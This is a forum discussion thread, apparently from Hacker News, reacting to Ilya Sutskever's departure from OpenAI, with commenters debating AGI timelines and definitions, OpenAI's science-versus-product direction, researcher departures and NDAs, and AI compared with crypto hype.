Ilya Sutskever to leave OpenAI
twitter.com
twitter.com
I have to admit, of the four, Karpathy and Sutskever were the two I was most impressed with. I hope he goes on to do something great.
When the next wave of new deep learning innovations sweeps the world, Microsoft eats whats left of them. They make lots of money, but don't have future unless they replace what they lost.
Being first at the start (i.e. first mover advantage) is huge.
Your claim was that people should care about compute based on what the provider has done in the AI space, but Microsoft was pretty far behind on that side until OpenAI - Google was really the only player in town. Should they have wanted GCP credits instead? Do you care about their AI results or the ex post facto GPU shipments?
Or, if what you actually want to argue is that Anthropic would be able to get more GPUs with Azure than AWS or GCP then this is a different argument which is going to require different evidence than raw GPU shipments.
That isn't the case, at all. All I'm stating is what the chart clearly shows - Azure has invested deeply in this technology and at a rate that far exceeds AWS.
They have the next iteration of GPT Sutskever helped to finalize. OpenAI lost it's future unless they find new same caliber people.
How do you know that they have the next GPT?
How do you know what Sutskever contributed? (There was talk that the most valuable contributions came from the less well known researchers not from him)
It's going to get orders of magnitude less expensive, but for now, the capital requirements feel like a pretty deep moat.
I think academia and startups are currently better suited to optimize tinyml and edge ai hardware/compilers/frameworks etc.
If something like Q* is provided organically with GPT5 (which may have a different name), and allows proper planning, error correction and direct interaction with tools, that gaps is getting really close to 0.
AI has a certain mystique that helps get money. In the 1980s I was on a DARPA neural network tools advisory panel, and I concurrently wrote a commercial product that included the 12 most common network architectures. That allowed me to step in when a project was failing (a bomb detector we developed for the FAA) that used a linear model, with mediocre results. It was a one day internal consult to provide software for a simple one hidden layer backprop model. During that time I was getting mediocre results using symbolic AI for NLP, but the one success provided runway internally in my company to keep going.
But compared to the 100s of billions (possibly trillions, globally) that is currently being plowed into AI, that's peanuts.
I think the closest recent analogy to the current spending on AI, was the nuclear arms race during the cold war.
If China is able to field ASI before the US even have full AGI, nukes may not matter much.
Compare that the 6+ trillions that were spent in the US alone on nuclear weapons, and then consider, what is of greater strategic importance: ASI or nukes?
A tiny fraction of the current funding. 2-4 orders of magnitude less.
> It's just that fundamental scientific discovery bears little relationship to the pallets of cash
Heavy funding may not automatically lead to breakthroughs such as Special Relativity or Quantum Mechanics (though it helps there too). But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
And it's not only the money itself. It's the attention and all the talent that is pulled in due to that.
And in this case, there is also the fear that the competition will reach AGI first, whether the competition is a company or a foreign government.
It's certainly possible the the ability to monetize the investments may lead to some kind of slowdown at some point (like if there is a recession).
But it seems to me that such a recession will have no more impact on the development of AGI than the dotcom bust had for the importance of the internet.
Operational costs were correspondingly lower, as they didn't need to pay electricity and compute bills for tens of millions concurrent users.
> But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
There is no reason to think that the ideas are in place. It could be that the local optimum is reached as it happened in many other technology advances before. The current model is mass scale data driven, the Internet has been sucked dry for data and there's not much more coming. This may well require a substantial change in approach and so far there are no indications of that.
From this pov monetization is irrelevant, as except for a few dozen researchers the rest of the crowd are expensive career tech grunts.
That depends what you mean when you say "ideas". If you consider ideas at the level of transformers, well then I would consider those ideas of the same magnitude as many of the ideas the Manhatten Project or Apollo Program had to figure out on the way.
If you mean ideas like going from expert system to Neural Networks with backprop, then that's more fundamental and I would agree.
It's certainly still conceivable that Penrose is right in that "true" AGI requires something like microtubules to be built. If so, that would be on the level of going from expert systems to NNs. I believe this is considered extremely exotic in the field, though. Even LeCun probably doesn't believe that. Btw, this is the only case where I would agree that funding is more or less irrelevant.
If we require 1-2 more breakthroughs on par with Transformers, then those could take anything from 2-15 years to be discovered.
For now, though, those who have predicted that AI development will mostly be limited by network size and the compute to train it (like Sutskever or implicitly Kurzweil) have been the ones most accurate in the expected rate of progress. If they're right, then AGI some time between 2025-2030 seems most likely.
Those AGI's may be very large, though, and not economical to run for a wider audience until some time in the 30's.
So, to summarize: Unless something completely fundamental is needed (like microtubules), which happens to be a fringe position, AGI some time between 2025 and 2040 seems likely. The "pessimists" (or optimists, in term of extinction risk) may think it's closer to 2040, while the optimists seem to think it's arriving very soon.
By the 90s they were still mainly used as fancy typewriters by “normal” people (my parents, school, etc) although the ridiculous potential was clear from day one.
It just took a looong time to go from pong to ping and then to living online. I’m still convinced even this stage is temporary and only a milestone on the way to bigger and better things. Computing and computational thought still has to percolate into all corners of society.
Again not saying “LLM’s” are the same, but AI in general will probably walk a similar path. It just takes a long time, think decades, not years.
Edit: wanted to mention The Mother of All Demos by Engelbart (1968), which to me looks like it captures all essential aspects of what distributed online computing can do. In a “low resolution”, of course.
They became viable in the 2000's, let's say 2007 with the iPhone, and by late 2010's everyone was living online, so "decades" is a stretch.
1978: the apple ][. 1mhz 8 bit microprocessor, 4kb of ram, monochrome all-,caps display.
1990:Mac IIci, 25mhz 32-bit CPU, 4MB ram, 640x480 color graphics and an easy to use GUI.
Ask any of us who used both of these at the time: it was really amazing.
By 1990 home computer use was still a niche interest. They were still toys, mainly. DTP, word processing and spreadsheets were a thing, but most people had little use for them - I had access to a Mac IIci with an ImageWriter dot matrix around that time and I remember nervously asking a teacher whether I would be allowed to submit a printed typed essay for a homework project - the idea that you could do all schoolwork on a computer was crazy talk. By then, tools like Mathematica existed but as a curiosity not an essential tool like modern maths workbooks are.
The internet is what changed everything.
Broadband. Dial-up was still too much of an annoyance, too expensive.
Once broadband was ubiquitous in the US and Europe, that's when the real explosion of computer usage happened.
For some strange reason html forms is an incredibly impotent technology. Pretty standard things are missing like radioboxes with an other text input. 5000+ years ago the form labels aligned perfectly with the value.
I can picture it already, ancient Mesopotamia, the clay tablet needs name and address fields for the user to put their name and address behind. They pull out a stamp or a roller.
Of course if you have a computer you can have stamps with localized name and address formatting complete with validation as a basic building block of the form. Then you have a single clay file with all the information neatly wrapped together. You know, a bit like that e-card no one uses only without half data mysteriously hidden from the record by some ignorant clerk saboteur.
We've also failed to hook up devices to computers. We went from the beautiful serial port to IoT hell with subscriptions for everything. One could go on all day like that, payments, arithmetic, identification, etc much work still remains. I'm unsure what kind of revolution would follow.
Talking thinking machines will no doubt change everything. That people believe it is possible is probably the biggest driver. You get more people involved, more implementations, more experiments, more papers, improved hardware, more investments.
Regular people shrug and say, yeah sure, but what can I do with it. They still do this day.
One day at work about 10-15 years ago I looked at my daily schedule and found that on that day my team were responsible for delivering a 128kb build of Tetris and a 4GB build of Real Racing.
(And, irrelevant, but my parents were in fact both posting to Usenet in 1983.)
Enlighten us
I have integrated 6 independent, specialized "AI attorneys" into a project management system where they are collaborating with "AI web developers", "AI creative writers", "AI spreadsheet gurus", "AI negotiators", "AI financial analysts" and an "AI educational psychologist" that looks at the user, the nature and quality of their requests, and makes a determination of how much help the user really needs, modulating how much help the other agents provide.
I've got a separate implementation that is all home solar do-it-yourself, that can guide someone from nothing all the way to their own self made home solar setup.
Currently working on a new version that exposes my agent creation UI with a boatload of documentation, aimed at general consumers. If one can write well, as in write quality prose, that person can completely master using these LLMs to superior results.
Ah yes, "it's so obvious no one sees it but me". Until you show people your work, and have real experts examining the results, I'm going to remain skeptical and assume you have LLMs talking nonsense to each each other.
I've created a version of one of the resume GPTs that analyses my resume's fit to a position when fed the job description along with a lookup of said company. I then have a streamlined manner in which it points out what needs to be further highlighted or omitted in my resume. It then helps me craft a cover letter based on a template I put together. Should I stop using it just because I can't feed it 50 job roles and have it automatically select which ones to apply to and then create all necessary changes to documents and then apply?
I would say instead, stay tuned.
Attention and scale is all you need
Anything else you do will be overtaken by LLM when it builds its internal structures
Well, LLM and MCTS
The rest is old news. Like Cyc
You can really flip the entire ad supported industry upside down if you integrate with a bunch of publishers and offer them a deal where they are paid every time an article from their website is returned. If they make this good enough people will pay $15-20 a month for no ads in a search engine.
Before the Apple partnership, maybe it seemed like the moat was shrinking, but I'm tno sure now.
Likely they have access to a LOT of data now too.
Right now it's all about reducing transaction costs, small-i innovating, onboarding integrations, maintaining customer and stakeholder trust, getting content, managing stakeholders, and selling.
You could say the same about Google - and yet they missed the consequences of their own discovery and got behind instead of being leaders. So you need specific talent to pull this off even if in theory you can hire anybody.
But the reality is, LLMs are a cannibalization threat to Search. And the Search Monopoly is the core money making engine of the entire company.
Classic innovators dilemma. No fat-and-happy corporate executive would ever say yes to putting lots of resources behind something risky that might also kill the golden goose.
The only time that happens at a big established company, is when driven by some iconoclastic founder. And Google’s founders have been MIA for over a decade.
It’s not short sightedness, it’s rational self-interest. The rewards for taking risk as employee #20,768 in a large company are minimal, whereas the downside can be catastrophic for your career & personal life.
Fast forward to today and we a discussing the implications of him leaving OpenAI on this very thread.
Evidence to support the notion that you can’t just throw mountains of cash and engineers at a problem to do something truly trailblazing.
If your view is that LLMs only need minor improvements to their core technology and that the major engineering focus should be placed on productizing them, then losing a bunch of scientists might not be seen as that big of a deal.
But if your view is that they still need to overcome significant milestones to really unlock their value... then this is a pretty big loss.
I suppose there's a third view, which is: LLMs still need to overcome significant hurdles, but solutions to those hurdles are a decade or more away. So it's best to productize now, establish some positive cashflow and then re-engage with R&D when it becomes cheaper in the future and/or just wait for other people to solve the hard problems.
I would guess the dominant view of the industry right now is #1 or #3.
AKA 'the four horsemen of enshitification'.
that won't happen, the next scam will be different
it was crypto until FTX collapsed then the usual suspects led by a16z leaned on OpenAI to rush whatever they had on market hence the odd naming of ChatGPT 3.5.
When the hype is finally realized to be just mass printing bullshit -- relevant bullshit, yes, which sometimes can be useful but not billions of dollars of useful -- there will be something else.
Same old, same old. The only difference is there is no new catchy tunes. Yet? https://youtu.be/I6IQ_FOCE6I https://locusmag.com/2023/12/commentary-cory-doctorow-what-k...
AI, on the other hand, has a near infinite potential. It's conceivable that it will grow the global economy by 2% OR MORE per MONTH for decades or more.
AI is going to be much more impactful than the internet. Probably more than internal combustion, the steam engine and electricity combined.
The question is about the timescale. It could take 2 years before it really starts to generate profits, or it could take 10 or even more.
LLMs pretending to be AI? No.
We don't know if full AGI can be built using just current technology (like transformers) given enough scale, or if 1 or more fundamental breakthroughs are needed beyond just the scale.
My hypothesis has always been that AGI will arrive roughly when the compute power and model size matches the human brain. That means models of about 100 trillion params, which is not that far away now.
We absolutely do and the answer is such a resounding no it's not even funny.
Now using transformers doesn't mean they have to be assembled like LLM's. There are other ways to stich them together to solve a lot of other problems.
We may very well have the basic types of lego pieces needed to build AGI. We won't know until we try to build all the brain's capacities into a model of size of a few 100 trillion parameters.
And if we actually lack some types of pieces, they may even be available by then.
Bank fees don't disappear into the ether when they're collected, so I doubt they have this much affect.
Oh, made my very first retail purchase with Bitcoin the other day. While the process was pretty slick and easy, the network charged $15.00 in fees. Long way to go until "free".
1-3% was intended as a ceiling for what cryptocurrency could bring to the economy, after adjusting for the reduction in inflation once those costs are gone.
Yes you may have short term growth, this is solely due to there being less regulation.
Despite what many people think regulation is a good thing, put in place to avoid the excesses that lead to lost livelihoods. It stops whales from exploiting the poor, provides tools for central banks to try avoid depressions.
Costs wise, banks acting as trust authorities actually can theoretically be cheaper too.
Basically, crypto is more like gold rush than a tech breakthrough. And gold rushes rarely lead to much more than increased inflation.
This round of AI is only capable of producing bullshit. Relevant bullshit but bullshit. This can be useful https://hachyderm.io/@inthehands/112006855076082650 but it doesn't mean it's more impactful than the Internet.
I actually expected objections on the opposite direction. But then, this is not twitter/X.
The point is that something that can easily generate 20%-100% growth per year (AGI/ASI) is so much more important that the best case prediction for crypto's effect on the economy are not even noticeable.
That's why comparing the crypto bubble to AI is so meaningless. Crypto was NEVER* going to be something hugely important, while AI is potentially almost limitless.
*If crypto had anything to offer at all, it would be ways to avoid fees, taxes and the ability to trace transactions.
The thing is, if crypto at any point seriously threatens to replace traditional currencies as stores of value in the US or EU, it will be banned instantly. Simply because it would make it impossible for governments to run budget deficits, prevent tax evasion and sever other things that governments care about.
E.g. Oppenheimer’s team created the bomb, then following experts finetuned the subsequent weapon systems and payload designs. Etc.
Engineering Level:
Solve CO2 Levels
End sickness/death
Enhance cognition by integrating with willing minds.
Safe and efficient interplanetary travel.
Harness vastly higher levels of energy (solar, nuclear) for global benefit.
Uncover deeper insights into the laws of nature.
Explore fundamental mysteries like the simulation hypothesis, Riemann hypothesis, multiverse theory, and the existence of white holes.
Effective SETI
End of violent conflicts
Fair yet liberal resource allocation (if still needed), "from scarcity to abundance" AI does not experience fatigue or distractions => consistent performance.
AI can scale its processing power significantly, despite the challenges associated with it (I understand the challenges)
AI can ingest and process new information at an extraordinary speed.
AIs can rewrite themselves
AIs can be multiplicated (solving scarcity of intelligence in manufacturing)
Once achieving AGI, progress could compound rapidly, for better or worse, due to the above points.A model that is as good as an average human but costs $10 000 per effective manhour to run is not very useful, but it is still an AGI.
Geohot (https://geohot.github.io/blog/) estimates that a human brain equivalent requires 20 PFLOPS. Current top-of-the-line GPUs are around 2 PFLOPS and consume up to 500W. Scaling that linearly results in 5kW, which translates to approximately 3 EUR per hour if I calculate correctly.
People want their suburban lifestyle with their red meat and their pick-up truck or SUV. They drive fuel inefficient vehicles long-distances to urban work environments and they seem to have very limited interest in changing that. People who like detached homes aren't suddenly affording the rare instances of that closer to their work. We burn lots of oil because we drive fuel inefficient vehicles long distances. This is a problem of changing human preferences which you just aren't going to solve with an AGI.
With abundant electric cars (at this future point in time) and clean electricity powering heating, transportation, and manufacturing, some AIs could be repurposed for CO2 capture.
It sounds deceptively easy, but from an engineering standpoint, it likely holds up. With free energy and AGI handling labor and thinking, we can achieve what a civilization could do and more (cause no individual incentives come into play).
However, human factors could be a problem: protests (luddites), wireheading, misuse of AI, and AI-induced catastrophes (alignment).
So, if you want to meet with someone, instead of opening you calendar app and looking for an opening, you'd ask your AGI assistant to talk to their AGI assistant and set up a 1h meeting soon. Or, instead of going on Google to find plane tickets, you'd ask you AGI assistant to find the most reasonable tickets for a certain date range.
This would not require any special intelligence more advanced than a human's, but it does require a very general understanding of the human world that is miles beyond what LLMs can achieve today.
Going only slightly further with assumptions about how smart an AGI would be, it could revolutionize education, at any level, by acting as a true personalized tutor for a single student, or even for a small group of students. The single biggest problem in education is that it's impossible to scale the highest quality education - and an AGI with capabilities similar to a college professor would entirely solve that.
I guess the issue here is: can a system be "generally intelligent" if it doesn't have access to general tools to act on that intelligence? I think so, but I also can see how the line is very fuzzy between an AI system and the tools it can leverage, as really they both do information processing of some sort.
Thanks for the insight.
The difference though is the amount of work. Today if you wanted GPT-4 to work as I describe, you would have to write an integration for Gmail, another one for Office365, another one for Proton etc. You would probably have to create a management interface to give access to your auth tokens for each of these to OpenAI so they can activate these interactions. The person you want to sync with would have to do the same.
In contrast, an AGI that only has average human intelligence, or even below, would just need access to, say, Firefox APIs, and should easily be able to achieve all of this. And it would work regardless if the other side is a different AGI using a different provider, or even if they are just a regular human assistant.
I'm at the European AI Conference for our startup tomorrow, and they use a platform that just booked me 3 meetings automatically with other people there based on our availability... It's not rocket science.
And you don't even need those narrow tools. You could easily ask GPT-4o (or lesser versions) something along the lines of :
> "you're going to interact with another AI assistant to book meetings for me: [here would be the details about the meeting]. Come up with a protocol that you'll send to the other assistant so it can understand what the meetings are about, communicate you their availability, etc. I want you to come up with the entire protocol, send it, and communicate with the other assistant end-to-end. I won't be available to provide any more context ; I just want the meeting to be booked. Go."
And getting it to actually buy stuff like plane tickets on your behalf would be entirely crazy.
Sure, it can be made to do some parts of this for very narrowly defined scenarios, like the specific platform of a single three day conference. But it's nowhere near good enough for dealing with the general case of the messy general world.
If you were in a room with no computer, would you consider yourself to be not intelligent enough to send an email? Does the tooling you have access to change your level of intelligence?
I had a (human) assistant in my previous business, super-smart MBA type, and by your definition she wasn't a general intelligence on the day of onboarding:
- she didn't have access to my email account or calendar
- she didn't know my usual lunch time hours
- she didn't have a company card yet.
All of those points you're raising are logistics, not intelligence.
Intelligence is "When trying to achieve a goal, can you conceive of a plan to get there despite adverse conditions, by understanding them and charting/reviewing a sequence of actions".
You can definitely be an intelligent entity without hands or tools.
But you certainly didn't have to write a special program for your assistant to integrate with your inbox, they just used an existing email/calendar client and looked at their screen.
GPT-4 is nowhere near able to interact with, say, the Gmail web page at this level. And even if you created the proper integrations, it's nowhere near the level that it could read all incoming email and intelligently decide, with high accuracy, which emails necessitate updates to your calendar, which don't, and which necessitate back-and-forth discussions to negotiate a better date for you.
Sure, your assistant didn't know all of this on day one, but they learned how to do it on their own, presumably with a few dozen examples at most. That is the mark of a general intelligence.
I'm pretty sure, from previous interactions with GPT-4o and from their demos, that if you used their desktop app (which enables screensharing) and asked it to tell you where to click, step-by-step, in the Gmail web page, it would be able to do a pretty good job of navigating through it.
Let's remember that the Gmail UI is one of the most heavily documented (in blogs, FAQs, support pages, etc) in the world. I can't see GPT-4o having any difficulty locating elements in there.
Do you work in education? Because I don't think many who do would agree with this take.
Where I live, the single biggest problem in education is that we can't scale staffing without increasing property taxes, and people don't want to pay higher property taxes. And no, AGI does not fix this problem, because you need staff to be physically present in schools to deal with children.
Even if we had an AGI that could do actual presentation of coursework and grading, you need a human being in there to make sure they behave and to meet the physical needs of the students. Humans aren't software to program around.
Sure, this doesn't mean you could just fire all teachers and dissolve all schools. You still need people to physically be there and interact with the children in various ways. But if you could separate the actual teaching from the child care part, and if you could design individualized courses for each child with something approaching the skill of the best teachers in the whole world, you would get an inconceivably better educational system for the entire population.
And I don't need to work in education for much of this. Like all others, I was intimately acquainted with the educational system (in my country) for 16 years of my life through direct experience, and much more since in increasingly less direct experience. I have very very good and very direct experience of the variance between teachers and the impact that has on how well students understand and interact with the material.
If you're looking for insight into the problems faced in education, speak to educators. I really doubt they would tell you that the quality of individual instructors is their biggest problem.
Educators are the best people to ask about how to make their jobs easier. They are not necessarily the best people to ask about how to make children's education better.
Edit:
> That's like claiming you know how to run a restaurant because you like to eat out.
No, it's like claiming you know some things about the problems of restaurants, and about the difference between good and bad restaurants, after spending 8+ hours a day almost every day, for 16 years, eating out at restaurants. Which I think would be a decent claim.
Does it? I am quite certain those things are achievable right now without anything like AI in the sense being discussed here.
> given only my and your email address.
AI or not, such an application would need more than just email addresses. It would need access to our schedules.
> AI or not, such an application would need more than just email addresses. It would need access to our schedules.
It needs access to my schedule, yes, but it only needs your email address. It can then ask you (or your own AGI assistant) if a particular date and time is convenient. If you then propose another time, it can negotiate appropriately.
And no, using ChatGPT like you use a search engine isn't ChatGPT solving your problem, that is you solving your problem. ChatGPT solving your problem would mean it drives you, not you driving it like it works today. When I hired people to help me do taxes they told me what papers they needed and then they did my taxes correctly without me having to look it through and correct them, an AGI would work like that for most tasks, it means you no longer need to think or learn to solve problems since the AGI solves them for you.
> ChatGPT solving your problem would mean it drives you, not you driving it like it works today.
I had a very bad Reddit addiction in the past. It took me years of consciously trying to quit in order to break the habit. I think I could make a reasonable argument that Reddit was using me to solve its problems, rather than myself using it to solve mine. I think this is also true of a lot of systems - Facebook, TikTok, YouTube, etc.
It's hard to pin down all computers as an "agent" in the way we like to think about that word and assign some degree of intelligence to, but I think it is at least an interesting exercise to try.
An AGI could run such a company without humans anywhere in the loop, just like humans can run such a company without an AGI helping them.
I'd say a strong signal that AGI has happened are large fully automated companies without a single human decisionmaker in the company, no CEO etc. Until that has happened I'd say AGI isn't here, if that happens it could be AGI but I can also imagine a good enough script to do it for some simple thing.
How come the goal posts for AGI are always the best of what people can do?
I can't diagnose anyone, yet I have GI.
Reminds me of:
> Will Smith: Can a robot write a symphony? Can a robot take a blank canvas and turn it into a masterpiece?
> I Robot: Can you?
Not the best, I just want it to be able to do what average professionals can do because average humans can become average professionals in most fields.
> I can't diagnose anyone, yet I have GI.
You can learn to, an AGI system should be able to learn to as well. And since we can copy AGI learning it means that if it hasn't learned to diagnose people yet then it probably isn't an AGI, because an AGI should be able to learn that without humans changing its code and once it learned it once we copy it forever and now the entire AGI knows how to do it.
So, the AGI should be able to do all the things you could do if we include all versions of you that learned different fields. If the AGI can't do that then you are more intelligent than it in those areas, even if the singular you isn't better at those things than it is.
For these reasons it makes more sense to compare an AGI to humanity rather than individual humans, because for an AGI there is no such thing as "individuals", at least not the way we make AI today.
Learning is a core part to general intelligence, as general intelligence implies you can learn about new problems so you can solve those. Take away that and you are no longer a general problem solver.
A rule based expert intelligence system can be highly intelligent, but it is not general, and maybe no arrangement of rules could make one that is general. A general intelligence system must be able to learn and adapt to foreign problems, parameters, and goals dynamically.
The classical example of a general intelligent task is to get the rules for a new game and then play it adequately, there are AI contests for that. That is easy for humans to do, games are enjoyed even by dumb people, but we have yet to make an AI that can play arbitrary games as well as even dumb humans.
Note that LLMs are more general than previous AI's thanks to in context learning, so we are making progress, but still far from as general as humans are.
GPT4o's context window is 128k tokens which is somewhere on the order of 128kB. Your brain's context window, all the subliminal activations from the nerves in your gut and the parts of your visual field you aren't necessarily paying attention to is on the order of 2MB. So a similar order of magnitude though GPT has a sliding window and your brain has more of an exponential decay in activations. That LLMs can accomplish everything they do just with what seems analogous to human reflex rather than human reasoning is astounding and more than a bit scary.
You don't really need to look at history, that's basically science vs engineering in a nutshell.
Maybe history could tell us if that's an accident or a division that arose out of 'natural' occurrence, but I suppose a question for an economist or psychologist or sociologist how natural that could really be anyway or if it's biased by e.g. academics not financially motivated because it happens that there isn't money there; so they don't care about productising; leaving it for others who are so motivated.
Right, because those are two very different things. Science is about figuring out truths of how reality works. Engineering is about taking those truths and using them to make useful things.
People often talk in a way that conflates the two, but they are completely different activities.
John Schulman is still at OpenAI. As are many others.
ChatGPT is the number 1 brand in AI and as such needs to learn what it's selling, not how its technology works. It always sucks when mission and vision don't align with the nerds ideas, but I think it's probably the best move for both parties.
I'm not as in tune as some people here so: don't they need both? With the rate at which things are moving, how can it be otherwise?
They have a strong focus on making the existing models fast and cheap without sacrificing capability which is music to the ears of those looking to build with them.
Things have been moving fast because we had a bunch of top notch scientists in companies paired with top notch salesmen/hype machines. But you need both in combination.
Hypemen make promises that can't be kept, but get absurd amounts of funding for doing so. Scientists fill in as many of the gaps as possible, but also get crazy resources due to the aforementioned funding. Obviously this train can't go forever, but I think you might understand that one of these groups is a bit more important than the other while one of these groups is more of a catalyst (makes things happen faster) for the other.
That’s not true at all. The biggest issue is that it doesn’t work. You can’t actually trust ai systems and that’s not a product issue.
The AI isn’t the product, e.g. the ChatGPT interface is the main product that is layered above the core AI tech.
The issue is trustworthiness isn’t solvable by applying standard product management techniques on a predictable schedule. It requires scientific research.
I don't know about that, it seems to work just fine at creating spam and clone websites.
For a lot of (very profitable) use cases, hallucinations and 80/20 are actually more than good enough. Especially when they are replacing solutions that are even worse.
Google or Meta (don't remember which) just put out a report about how many human-hours they saved last year using transformers for coding.
Producing spam has some margin on it, but is it really very profitable? And else?
Pretty weak take there bud. If we just look at the Gartner Hype Cycle that marketing and business people love so much it would seem to me that we are at the peak, just before the downfall.
They are hyping hard to sell more, when they should be prepping for the coming dip, building their tech and research side more to come out the other side.
Regardless, a tech company without the inventors is doomed to fail.
Meanwhile, OpenAI (and the rest of the folks riding the hype train) will soon enter the trough. They're not diversified and I'm not sure that they can keep running at a loss in this post-ZIRP world.
But this race to add 'AI' into everything is producing a lot of nonsense. I'd rather go fullsteam ahead on the science and the new models, because that is what will actually get us something decent, rather than milking what we already have.
I see this coming for sure for open ai and I do my part by just writing this comment on HN.
From a business point of view, you don't want to be first to market. You want to be the second or third.
Not for long. They have no moat. Folks who did the science are now doing science for some other company, and will blow the pants off OpenAI.
Will they though? Last I heard OpenAI isn't profitable, and I don't know if it's safe to assume they every will be.
People keep saying that LLMs are an existential threat to search, but I'm not so sure. I did a quick search (didn't verify in any way if this is a feasible number) to find that Google on average makes about 30 cents in revenue per query. They make a good profit on that because processing the query costs them almost nothing.
But if processing a query takes multiple seconds on a high-end GPU, is that still a profitable model? How can they increase revenue per query? A subscription model can do that, but I'd argue that a paywalled service immediately means they're not a threat to traditional ad-supported search engines.
Ilya
Jan Leike
William Saunders
Leopold Aschenbrenner
All gone
I have no idea I’m saying I’ve seen that happen in companies.
I’m not seeing “the good ones” leaving in this case.
“I think AGI will probably be here by 2029, and could indeed arrive this year”
Kokotajlo too.
We are so fucked
I really, really doubt that transformers will become AGI. Maybe I am wrong, I am no expert in this field, but I would love to understand the reasoning behind this "could arrive this year", because it reminds me about coldfusion :X
edit: maybe the term has changed again. AGI to me means truly understanding, maybe even some kind of consciousness, but not just probability... when I explain something, I have understood it. It's not that I have soaked up so many books that I can just use a probabilistic function to "guess" which word should come next.
- A possibility to fact-check the text, for example by the Wolfram math engine or by giving internet access
- Something like an instinct to fight for life (seems dangerous)
- some more subsystems: let's have a look a the brain: there's the amygdala, the cerebellum, the hippocampus, and so on, and there must be some evolutionary need for these parts
A real AGI should be something you can drop in to a humanoid robot and it would basically live as an individual, learning from every moment and every day, growing and changing with time.
LLMs can’t even count the number of letters in a sentence.
It's a consequence of tokenization. They "see" the world through tokens, and tokenization rules depend on the specific middleware you're using. It's like making someone blind and then claiming they are not intelligent because they can't tell red from green. That's just how they perceive the world and tells nothing about intelligence.
"هذا دليل سريع على أنه حتى البشر الأذكياء لا يمكنهم قراءة ”الرموز“ أو ”الحروف“ من لغة لم يتعلموها."
The comment you replied to was saying LLMs trained on english cant count letters in english
So my analogy here stands : OP was trained in "reading human language" with Roman letters as the basis of his understanding, and it would be a significant challenge (fairly unrelated to intelligence level) for OP to be able to parse an Arabic sentence of the same meaning.
Or:
You learned Arabic, great (it's the next language I want to learn so I'm envious!). But from the LLM point of view, should you be considered intelligent if you can count Arabic letters but not Arabic tokens in that sentence?
Also, when they speak about AGI, it raises their(person leaving) marketing value as someone else already know they are brilliant to have worked at something cool and they might also know some secret sauce, which could be acquired at lower cost by hiring them immediately[1]. I have seen these kinds of speak play out too many times. Last January, one of the senior engineers from my current work place in aviation left citing about something super secret coming this year or soon, and they immediately got hired by a competitor with generous pay to work on that said topic.
Why yes, of course Jan Leike just impromptu resigned and Daniel Kokotajlo just gave up 85% of his wealth in order not to sign a resignation NDA to do what you're describing...
There's very few people who can lead in frontier AI research domains - maybe a few dozen worldwide - and there are many active research niches. Applying an NDA to a very senior researcher would be such a massive net-negative for the industry, that it'd be a net-negative for the applying organisation too.
I could see some kind of product-based NDA, like "don't discuss the target release dates for the new models", but "stop working on your field of research" isn't going to happen.
Unclear how to value the equity I gave up, but it probably would have been about 85% of my family's net worth at least.
Basically I wanted to retain my ability to criticize the company in the future.“
> but "stop working on your field of research" isn't going to happen.
We’re talking about NDA, obviously no-competes aren’t legal in CA
https://www.lesswrong.com/posts/kovCotfpTFWFXaxwi/?commentId...
Percentages are nice, but with money and wealth absolute numbers are already important enough. You can leave a very, very good life even if you are losing 85% if the remaining 15% is USD $1M. And if not signing that NDA will help you landing another richly paying job + freedom to say whatever you feel it's important saying.
1. Alan Turing on why we should never ever perform a Turing test: https://redirect.cs.umbc.edu/courses/471/papers/turing.pdf
2. Marvin Minsky on the “Frame Problem” that lead to one or two previous AI winters, and what an Intuitive algorithm might look like: https://ojs.aaai.org/aimagazine/index.php/aimagazine/article...
Can you cite specifically what in the paper you're basing that on? I skimmed it as well as the Wikipedia summary but I didn't see anywhere that Turing said that the imitation game should not be played.
I was definitely being a bit facetious for emphasis, but he says a few times that the original question — “Can machines think?” - is meaningless, and the imitation game question is solved in its very posing. As a computer scientist he was of course worried about theoretical limits, and he intended the game in that vein. In that context he sees the answer as trivial: yes, a good enough computer will be able to mimic human behavior.
The essay’s structure is as follows:
1. Propose theoretical question about computer behavior.
2. Describe computers as formal automata.
3. Assert that automata are obviously general enough to satisfy the theoretical question — with good enough programming and enough power.
4. Dismiss objections, of which “humans might be telepathic” was somewhat absurdly the only one left standing.
It’s not a very clearly organized paper IMO, and the fun description of the game leads people to think he’s proposing that. That’s just the premise, and the pressing conclusion he derives from it is simple: spending energy on this question is meaningless, because it’s either intractable or solved depending on your approach (logical and empirical, respectively).
TL;DR: the whole essay revolves around this quote, judge for yourself:
We may now consider the ground to have been cleared and we are ready to proceed to the debate on our question, "Can machines think?" and the variant of it quoted at the end of the last section… ["Are there discrete-state machines which would do in the Imitation Game?"]
It will simplify matters for the reader if I explain first my own beliefs in the matter.
Consider first the more accurate form of the question. I believe that in about fifty years' time it will be possible, to programme computers, with a storage capacity of about 109, to make them play the imitation game so well that an average interrogator will not have more than 70 per cent chance of making the right identification after five minutes of questioning.
The original question, "Can machines think?" I believe to be too meaningless to deserve discussion. Nevertheless I believe that at the end of the century the use of words and general educated opinion will have altered so much that one will be able to speak of machines thinking without expecting to be contradicted.The term, and indeed each initial, means different things to different people.
To me, even InstructGPT manages to be a "general" AI, so it counts as AGI — much to the confusion and upset of many like you who think the term requires consciousness, and others who want it to be superhuman in quality.
I would also absolutely agree LLMs are not at all human-like. I don't know if they do or don't need the various missing parts in order to be in order to change the world into a jobless (u/dis)topia.
I also don't have any reason to be for or against any claim about consciousness, given that word also has a broad range of definitions to choose between.
I expect at least one more breakthrough architecture on the scale of Transformers before we get all the missing bits from human cognition, even without "consciousness".
What do you mean by "truly understanding"?
When you have that feeling of understanding, it is important to recognize that it is a feeling.
We hope it’s correlated with some kind of ability to reason, but at the end of the day, you can have the ability to reason about things without realising it, and you can feel that you understand something and be wrong.
It’s not clear to me why this feeling would be necessary for superhuman-level general performance. Nor is it clear to me that a feeling of understanding isn’t what being an excellent token predictor feels like from the inside.
If it walks and talks like an AGI, at some point, don’t we have to concede it may be an AGI?
In people, these are correlated, but one does not necessitate the other.
Yeah, that's the part I don't understand though - do I understand it? Or do I just think I understand it. How do I know that I am not probabilistic also?
Synthesis is the only thing that comes to mind as a differentiator between me and an LLM.
Doesn't seem like they felt it was required.
Edit: I'd love to know why the down votes, it's an opinion, not a political statement. This community is quite off lately.
Is this a highly controversial statement ? People are truly worried about the future and this is just an anxiety based reaction ?
Seriously asking; I've purchased a GitHub CoPilot license subscription but I don't know what their sales numbers are doing on AI in general. It's to be seen if it can be made more cost-efficient to deliver to consumers.
